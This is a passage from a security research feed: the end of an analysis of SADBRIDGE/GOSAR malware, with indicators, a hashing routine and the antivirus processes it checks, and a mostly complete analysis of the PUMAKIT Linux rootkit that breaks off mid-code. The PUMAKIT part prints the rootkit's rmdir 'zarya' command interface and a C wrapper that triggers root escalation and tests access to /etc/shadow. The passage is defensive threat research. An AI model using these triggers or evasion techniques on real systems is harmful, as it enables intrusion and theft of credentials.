<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">opera-x[.]net</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">teledown-cn[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39</td>
<td align="left">SHA-256</td>
<td align="left"><code>NetFxRepairTools.msi</code></td>
<td align="left">MSI</td>
</tr>
<tr>
<td align="left">accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7</td>
<td align="left">SHA-256</td>
<td align="left"><code>x64bridge.dll</code></td>
<td align="left">SADBRIDGE</td>
</tr>
<tr>
<td align="left">7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">GOSAR</td>
</tr>
<tr>
<td align="left">ferp.googledns[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.secssl[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.winsiked[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]is</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a></li>
<li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a></li>
</ul>
<h2>Appendix</h2>
<p>Hashing algorithm (SADBRIDGE)</p>
<pre><code class="language-py">def ror(x, n, max_bits=32) -&gt; int:
    &quot;&quot;&quot;Rotate right within a max bit limit, default 32-bit.&quot;&quot;&quot;
    n %= max_bits
    return ((x &gt;&gt; n) | (x &lt;&lt; (max_bits - n))) &amp; (2**max_bits - 1)

def ror_13(data) -&gt; int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte &gt;= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) &amp; 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -&gt; int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) &amp; 0xFFFFFFFF
    
    return hex(result)
</code></pre>
<h3>AV products checked in GOSAR</h3>
<table>
<thead>
<tr>
<th align="center">360sd.exe</th>
<th align="center">kswebshield.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">360tray.exe</td>
<td align="center">kvmonxp.exe</td>
</tr>
<tr>
<td align="center">a2guard.exe</td>
<td align="center">kxetray.exe</td>
</tr>
<tr>
<td align="center">ad-watch.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">arcatasksservice.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">ashdisp.exe</td>
<td align="center">miner.exe</td>
</tr>
<tr>
<td align="center">avcenter.exe</td>
<td align="center">mongoosagui.exe</td>
</tr>
<tr>
<td align="center">avg.exe</td>
<td align="center">mpmon.exe</td>
</tr>
<tr>
<td align="center">avgaurd.exe</td>
<td align="center">msmpeng.exe</td>
</tr>
<tr>
<td align="center">avgwdsvc.exe</td>
<td align="center">mssecess.exe</td>
</tr>
<tr>
<td align="center">avk.exe</td>
<td align="center">nspupsvc.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">ntrtscan.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">patray.exe</td>
</tr>
<tr>
<td align="center">avwatchservice.exe</td>
<td align="center">pccntmon.exe</td>
</tr>
<tr>
<td align="center">ayagent.aye</td>
<td align="center">psafesystray.exe</td>
</tr>
<tr>
<td align="center">baidusdsvc.exe</td>
<td align="center">qqpcrtp.exe</td>
</tr>
<tr>
<td align="center">bkavservice.exe</td>
<td align="center">quhlpsvc.EXE</td>
</tr>
<tr>
<td align="center">ccapp.exe</td>
<td align="center">ravmond.exe</td>
</tr>
<tr>
<td align="center">ccSetMgr.exe</td>
<td align="center">remupd.exe</td>
</tr>
<tr>
<td align="center">ccsvchst.exe</td>
<td align="center">rfwmain.exe</td>
</tr>
<tr>
<td align="center">cksoftshiedantivirus4.exe</td>
<td align="center">rtvscan.exe</td>
</tr>
<tr>
<td align="center">cleaner8.exe</td>
<td align="center">safedog.exe</td>
</tr>
<tr>
<td align="center">cmctrayicon.exe</td>
<td align="center">savprogress.exe</td>
</tr>
<tr>
<td align="center">coranticontrolcenter32.exe</td>
<td align="center">sbamsvc.exe</td>
</tr>
<tr>
<td align="center">cpf.exe</td>
<td align="center">spidernt.exe</td>
</tr>
<tr>
<td align="center">egui.exe</td>
<td align="center">spywareterminatorshield.exe</td>
</tr>
<tr>
<td align="center">f-prot.EXE</td>
<td align="center">tmbmsrv.exe</td>
</tr>
<tr>
<td align="center">f-prot.exe</td>
<td align="center">unthreat.exe</td>
</tr>
<tr>
<td align="center">f-secure.exe</td>
<td align="center">usysdiag.exe</td>
</tr>
<tr>
<td align="center">fortitray.exe</td>
<td align="center">v3svc.exe</td>
</tr>
<tr>
<td align="center">hipstray.exe</td>
<td align="center">vba32lder.exe</td>
</tr>
<tr>
<td align="center">iptray.exe</td>
<td align="center">vsmon.exe</td>
</tr>
<tr>
<td align="center">k7tsecurity.exe</td>
<td align="center">vsserv.exe</td>
</tr>
<tr>
<td align="center">knsdtray.exe</td>
<td align="center">wsctrl.exe</td>
</tr>
<tr>
<td align="center">kpfwtray.exe</td>
<td align="center">yunsuo_agent_daemon.exe</td>
</tr>
<tr>
<td align="center">ksafe.exe</td>
<td align="center">yunsuo_agent_service.exe</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/Security Labs Images 21.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Declawing PUMAKIT]]></title>
            <link>https://www.elastic.co/pt/security-labs/declawing-pumakit</link>
            <guid>declawing-pumakit</guid>
            <pubDate>Thu, 12 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers.]]></description>
            <content:encoded><![CDATA[<h2>PUMAKIT at a glance</h2>
<p>PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (<code>cron</code>), two memory-resident executables (<code>/memfd:tgt</code> and <code>/memfd:wpn</code>), an LKM rootkit module, and a shared object (SO) userland rootkit.</p>
<p>The rootkit component, referenced by the malware authors as “PUMA&quot;,  employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkit ensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper.</p>
<p>Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.</p>
<h2>Key takeaways</h2>
<ul>
<li><strong>Multi-Stage Architecture</strong>: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions.</li>
<li><strong>Advanced Stealth Mechanisms</strong>: Hooks 18 syscalls and several kernel functions using <code>ftrace()</code> to hide files, directories, and the rootkit itself, while evading debugging attempts.</li>
<li><strong>Unique Privilege Escalation</strong>: Utilizes unconventional hooking methods like the <code>rmdir()</code> syscall for escalating privileges and interacting with the rootkit.</li>
<li><strong>Critical Functionalities</strong>: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control.</li>
</ul>
<h2>PUMAKIT Discovery</h2>
<p>During routine threat hunting on VirusTotal, we came across an intriguing binary named <a href="https://www.virustotal.com/gui/file/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f">cron</a>. The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, <code>/memfd:wpn (deleted)</code><a href="https://www.virustotal.com/gui/file/71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24">71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24</a>, uploaded on the same day, also with 0 detections.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image13.png" alt="VirusTotal Hunting" /></p>
<p>What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the <code>vmlinuz</code> kernel package in <code>/boot/</code>. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose.</p>
<h2>PUMAKIT code analysis</h2>
<p>PUMAKIT, named after its embedded LKM rootkit module (named &quot;PUMA&quot; by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the <code>cron</code> binary, which creates two memory-resident executables: <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code>. While <code>/memfd:tgt</code> serves as a benign Cron binary, <code>/memfd:wpn</code> acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (<code>/tmp/script.sh</code>), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image10.png" alt="PUMAKIT infection chain" title="PUMAKIT infection chain" /></p>
<p>This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment.</p>
<p>In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware.</p>
<h3>Stage 1: Cron overview</h3>
<p>The <code>cron</code> binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are:</p>
<ol>
<li>Check command-line arguments for a specific keyword (<code>&quot;Huinder&quot;</code>).</li>
<li>If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem.</li>
<li>If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit.</li>
</ol>
<p>In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like <code>cron</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image14.png" alt="The main function of the initial dropper" title="The main function of the initial dropper" /></p>
<p>If the string <code>Huinder</code> isn’t found among the arguments, the code inside <code>if (!argv_)</code> executes:</p>
<p><code>writeToMemfd(...)</code>: This is a hallmark of fileless execution. <code>memfd_create</code> allows the binary to exist entirely in memory. The malware writes its embedded payloads (<code>tgtElfp</code> and <code>wpnElfp</code>) into anonymous file descriptors rather than dropping them onto disk.</p>
<p><code>fork()</code> and <code>execveat()</code>: The malware forks into a child and parent process. The child redirects its standard output and error to <code>/dev/null</code> to avoid leaving logs and then executes the “weapon” payload (<code>wpnElfp</code>) using <code>execveat()</code>. The parent waits for the child and then executes the “target” payload (<code>tgtElfp</code>). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult.</p>
<p>The choice of <code>execveat()</code> is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution.</p>
<p>We have identified that the <code>tgt</code> file is a legitimate <code>cron</code> binary. It is loaded in memory and executed after the rootkit loader (<code>wpn</code>) is executed.</p>
<p>After execution, the binary remains active on the host.</p>
<pre><code class="language-bash">&gt; ps aux
root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f
</code></pre>
<p>Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper.</p>
<pre><code class="language-bash">root@debian11-rg:/tmp# ls -lah /proc/2138/fd
total 0
dr-x------ 2 root root  0 Dec  6 09:57 .
dr-xr-xr-x 9 root root  0 Dec  6 09:57 ..
lr-x------ 1 root root 64 Dec  6 09:57 0 -&gt; /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 1 -&gt; /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 2 -&gt; /dev/null
lrwx------ 1 root root 64 Dec  6 09:57 3 -&gt; '/memfd:tgt (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 4 -&gt; '/memfd:wpn (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 5 -&gt; /run/crond.pid
lrwx------ 1 root root 64 Dec  6 09:57 6 -&gt; 'socket:[20433]'
</code></pre>
<p>Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image12.png" alt="Embedded ELF binary" title="Embedded ELF binary" /></p>
<p>Upon extraction, we find the following two new files:</p>
<ul>
<li><code>Wpn</code>: <code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></li>
<li><code>Tgt</code>: <code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></li>
</ul>
<p>We now have the dumps of the two memory files.</p>
<h3>Stage 2: Memory-resident executables overview</h3>
<p>Examining the <a href="https://www.virustotal.com/gui/file/934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136">/memfd:tgt</a> ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary.</p>
<p>The <a href="https://www.virustotal.com/gui/file/cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe">/memfd:wpn</a> file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the <code>/usr/sbin/sshd</code> executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit.</p>
<p>Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying <code>dmesg</code>. If the correct conditions are met, a shell script called <code>script.sh</code> is dropped in the <code>/tmp</code> directory and executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image6.png" alt="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" title="Execution flow of the bash script and rootkit loader starting from /dev/fd/4" /></p>
<p>This script contains logic for inspecting and processing files based on their compression formats.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image9.png" alt="The Bash script that is used to decompress the kernel image" title="The Bash script that is used to decompress the kernel image" /></p>
<p>Here's what it does:</p>
<ul>
<li>The function <code>c()</code> inspects files using the <code>file</code> command to verify whether they are ELF binaries. If not, the function returns an error.</li>
<li>The function <code>d()</code> attempts to decompress a given file using various utilities like <code>gunzip</code>, <code>unxz</code>, <code>bunzip2</code>, and others based on signatures of supported compression formats. It employs <code>grep</code> and <code>tail</code> to locate and extract specific compressed segments.</li>
<li>The script attempts to locate and process a file (<code>$i</code>) into <code>/tmp/vmlinux</code>.</li>
</ul>
<p>After the execution of <code>/tmp/script.sh</code>, the file <code>/boot/vmlinuz-5.10.0-33-cloud-amd64</code> is used as input. The <code>tr</code> command is employed to locate gzip's magic numbers (<code>\037\213\010</code>). Subsequently, a portion of the file starting at the byte offset <code>+10957311</code> is extracted using <code>tail</code>, decompressed with <code>gunzip</code>, and saved as <code>/tmp/vmlinux</code>. The resulting file is then verified to determine if it is a valid ELF binary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image4.png" alt="The process of determining that the decompressing has succeeded " title="The process of determining that the decompressing has succeeded " /></p>
<p>This sequence is repeated multiple times until all entries within the script have been passed into function <code>d()</code>.</p>
<pre><code>d '\037\213\010' xy gunzip
d '\3757zXZ\000' abcde unxz
d 'BZh' xy bunzip2
d '\135\0\0\0' xxx unlzma
d '\211\114\132' xy 'lzop -d'
d '\002!L\030' xxx 'lz4 -d'
d '(\265/\375' xxx unzstd
</code></pre>
<p>This process is shown below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image7.png" alt="" /></p>
<p>After running through all of the items in the script, the <code>/tmp/vmlinux</code> and <code>/tmp/script.sh</code> files are deleted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image3.png" alt="Deleting the script and unpacked kernel" title="Deleting the script and unpacked kernel" /></p>
<p>The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image5.png" alt="Rootkit loader looking for symbol offsets" title="Rootkit loader looking for symbol offsets" /></p>
<p>As shown in the image above, the loader looks for <code>__ksymtab</code> and <code>__kcrctab</code> symbols in the Linux Kernel file and stores the offsets.</p>
<p>Several strings show that the rootkit developers refer to their rootkit as “PUMA&quot; within the dropper. Based on the conditions, the program outputs messages such as:</p>
<pre><code class="language-python">PUMA %s
[+] PUMA is compatible
[+] PUMA already loaded
</code></pre>
<p>Furthermore, the kernel object file contains a section named <code>.puma-config</code>, reinforcing the association with the rootkit.</p>
<h3>Stage 3: LKM rootkit overview</h3>
<p>In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals.</p>
<h4>LKM rootkit overview: symbol lookup and hooking mechanism</h4>
<p>The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use <code>kprobes</code>, indicating it is designed for older kernels.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image1.png" alt="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" title="Resolving a pointer to the sys_call_table using kallsyms_lookup_name" /></p>
<p>This choice is significant because, prior to kernel version 5.7, <code>kallsyms_lookup_name()</code> was exported and could be easily leveraged by modules, even those without proper licensing.</p>
<p>In February 2020, kernel developers debated the unexporting of <code>kallsyms_lookup_name()</code> to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake <code>MODULE_LICENSE(&quot;GPL&quot;)</code> declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings:</p>
<pre><code>name=audit
license=GPL
</code></pre>
<p>This fraudulent use of the GPL license ensures the rootkit can call <code>kallsyms_lookup_name()</code> to resolve function addresses and manipulate kernel internals.</p>
<p>In addition to its symbol resolution strategy, the kernel module employs the <code>ftrace()</code> hooking mechanism to establish its hooks. By leveraging <code>ftrace()</code>, the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image11.png" alt="The LKM rootkit leverages ftrace for hooking" title="The LKM rootkit leverages ftrace for hooking" /></p>
<p>Evidence of this is e.g. the usage of <code>unregister_ftrace_function</code> and <code>ftrace_set_filter_ip</code> as shown in the snippet of code above.</p>
<h4>LKM rootkit overview: hooked syscalls overview</h4>
<p>We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes.</p>
<p>By viewing the <code>cleanup_module()</code> function, we can see the <code>ftrace()</code> hooking mechanism being reverted by using the <code>unregister_ftrace_function()</code> function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image15.png" alt="Cleanup of all the hooked syscalls" title="Cleanup of all the hooked syscalls" /></p>
<p>In the following sections, we will take a closer look at a few of the hooked syscalls.</p>
<h4>LKM rootkit overview: rmdir_hook()</h4>
<p>The <code>rmdir_hook()</code> in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting <code>rmdir()</code> syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image2.png" alt="Start of the rmdir hook code" title="Start of the rmdir hook code" /></p>
<p>This hook has several checks in place. The hook expects the first characters to the <code>rmdir()</code> syscall to be <code>zarya</code>. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: <code>zarya[char][command][char][argument]</code>. Any special character (or none) can be placed between <code>zarya</code> and the commands and arguments.</p>
<p>As of the publication date, we have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>zarya.c.0</code></td>
<td>Retrieve the config</td>
</tr>
<tr>
<td><code>zarya.t.0</code></td>
<td>Test the working</td>
</tr>
<tr>
<td><code>zarya.k.&lt;pid&gt;</code></td>
<td>Hide a PID</td>
</tr>
<tr>
<td><code>zarya.v.0</code></td>
<td>Get the running version</td>
</tr>
</tbody>
</table>
<p>Upon initialization of the rootkit, the <code>rmdir()</code> syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the <code>t</code> command.</p>
<pre><code class="language-bash">ubuntu-rk:~$ rmdir test
rmdir: failed to remove 'test': No such file or directory
ubuntu-rk:~$ rmdir zarya.t
ubuntu-rk:~$
</code></pre>
<p>When using the <code>rmdir</code> command on a non-existent directory, an error message “No such file or directory” is returned. When using <code>rmdir</code> on <code>zarya.t</code>, no output is returned, indicating successful loading of the kernel module.</p>
<p>A second command is <code>v</code>, which is used to get the version of the running rootkit.</p>
<pre><code class="language-bash">ubuntu-rk:~$ rmdir zarya.v
rmdir: failed to remove '240513': No such file or directory
</code></pre>
<p>Instead of <code>zarya.v</code> being added to the “failed to remove ‘<code>directory</code>’” error, the rootkit version <code>240513</code> is returned.</p>
<p>A third command is <code>c</code>, which prints the configuration of the rootkit.</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ ./dump_config &quot;zarya.c&quot;
rmdir: failed to remove '': No such file or directory
Buffer contents (hex dump):
7ffe9ae3a270  00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76  .....ping_interv
7ffe9ae3a280  61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f  al_s.,....sessio
7ffe9ae3a290  6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00  n_timeout_s.....
7ffe9ae3a2a0  10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8  .c2_timeout_s...
7ffe9ae3a2b0  00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72  ...tag.....gener
7ffe9ae3a2c0  69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65  ic..s_a0.....rhe
7ffe9ae3a2d0  6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72  l.opsecurity1.ar
7ffe9ae3a2e0  74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33  t..s_p0.....8443
7ffe9ae3a2f0  00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02  ..s_c0.....tls..
7ffe9ae3a300  73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73  s_a1.....sec.ops
7ffe9ae3a310  65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f  ecurity1.art..s_
7ffe9ae3a320  70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63  p1.....8443..s_c
7ffe9ae3a330  31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00  1.....tls..s_a2.
7ffe9ae3a340  0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30  ....89.23.113.20
7ffe9ae3a350  34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33  4..s_p2.....8443
7ffe9ae3a360  00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00  ..s_c2.....tls..
</code></pre>
<p>Because the payload starts with null bytes, no output is returned when running <code>zarya.c</code> through a <code>rmdir</code> shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned.</p>
<p>Instead of using the <code>kill()</code> syscall to get root privileges (like most rootkits do), the rootkit leverages the <code>rmdir()</code> syscall for this purpose as well. The rootkit uses the <code>prepare_creds</code> function to modify the credential-related IDs to 0 (root), and calls <code>commit_creds</code> on this modified structure to obtain root privileges within its current process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/image8.png" alt="Privilege escalation using prepare_creds and commit_creds" title="Privilege escalation using prepare_creds and commit_creds" /></p>
<p>To trigger this function, we need to set the 6th character to <code>0</code>. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing <code>zarya.0</code>, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below:</p>
<pre><code class="language-c">[...]
// Print the current PID, SID, and GID
pid_t pid = getpid();
pid_t sid = getsid(0);  // Passing 0 gets the SID of the calling process
gid_t gid = getgid();

printf(&quot;Current PID: %d, SID: %d, GID: %d\n&quot;, pid, sid, gid);

// Print all credential-related IDs
uid_t ruid = getuid();    // Real user ID
uid_t euid = geteuid();   // Effective user ID
gid_t rgid = getgid();    // Real group ID
gid_t egid = getegid();   // Effective group ID
uid_t fsuid = setfsuid(-1);  // Filesystem user ID
gid_t fsgid = setfsgid(-1);  // Filesystem group ID

printf(&quot;Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n&quot;,
    ruid, euid, rgid, egid, fsuid, fsgid);

[...]
</code></pre>
<p>Executing the function, we can the following output:</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ whoami;id
ruben
uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)

ubuntu-rk:~/testing$ ./rmdir zarya.0
Received data:
zarya.0
Current PID: 41838, SID: 35117, GID: 0
Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0
</code></pre>
<p>To leverage this hook, we wrote a small C wrapper script that executes the <code>rmdir zarya.0</code> command and checks whether it can now access the <code>/etc/shadow</code> file.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;errno.h&gt;

int main() {
    const char *directory = &quot;zarya.0&quot;;

    // Attempt to remove the directory
    if (syscall(SYS_rmdir, directory) == -1) {
        fprintf(stderr, &quot;rmdir: failed to remove '%s': %s\n&quot;, directory, strerror(errno));
    } else {
        printf(&quot;rmdir: successfully removed '%s'\n&quot;, directory);
    }

    // Execute the `id` command
    printf(&quot;\n--- Running 'id' command ---\n&quot;);
    if (system(&quot;id&quot;) == -1) {
